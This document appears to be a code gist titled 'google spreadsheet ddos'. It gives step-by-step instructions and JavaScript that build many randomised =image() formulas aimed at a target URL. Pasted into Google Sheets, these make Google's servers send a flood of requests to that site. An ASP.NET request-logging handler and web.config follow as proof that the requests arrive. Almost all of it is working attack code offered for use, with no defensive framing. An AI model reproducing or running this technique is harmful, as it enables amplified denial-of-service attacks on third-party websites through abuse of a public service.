google spreadsheet ddos

gistfile1.txt

1. Create google spreadsheet
2. Open any website
3. Write by hands into browser url: 
javascript:  

4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters): 
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p);	} document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);}

4. Copy all text: Ctrl+A Ctrl+C
5. Insert buffer into google spreadsheet. 
Done

------------------------------------------
Other information: 
JS: 

main("http://gfsdgfdsj-001-site1.myasp.net/img", 100);
function makeid(n)
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for( var i=0; i < n; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
}
function generateStr(url, x)
{
	var div = document.createElement("div");        
	for( var i=0; i < x; i++ )
	{		
		var p = document.createElement("p");  	
			var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); 		
		p.appendChild(t);                            
		div.appendChild(p);	
	}
	document.body.innerHTML = "";
	document.body.appendChild(div);
}
function main(url, x)
{
	generateStr(url, x);
}

How to prove:

ASP.NET:
public class HttpHandler : IHttpHandler
    {
        public bool IsReusable { get { return false; } }
        public void ProcessRequest(HttpContext context)
        {
            File.AppendAllText(HttpContext.Current.Server.MapPath("~/log.txt"), new StringBuilder(DateTime.Now.ToString()).Append(":").Append(JsonConvert.SerializeObject(new { url = context.Request.Url.AbsoluteUri, userAddres = context.Request.UserHostAddress, userAgent = context.Request.UserAgent }, Formatting.None)).Append("\n").ToString());
            
            context.Response.ContentType = "image/jpeg";
            context.Response.BinaryWrite(File.ReadAllBytes(HttpContext.Current.Server.MapPath("~/img/image.png")));
            context.Response.End();
        }
    }
    
    public class RouteConfig { public static void RegisterRoutes(RouteCollection routes) { }  }
    
web.config:
 <system.webServer>
    <handlers>
        <add name="pngs" verb="*" path="img/*"
        type="MvcApplication1.HttpHandler, MvcApplication1" preCondition="integratedMode,runtimeVersionv4.0" />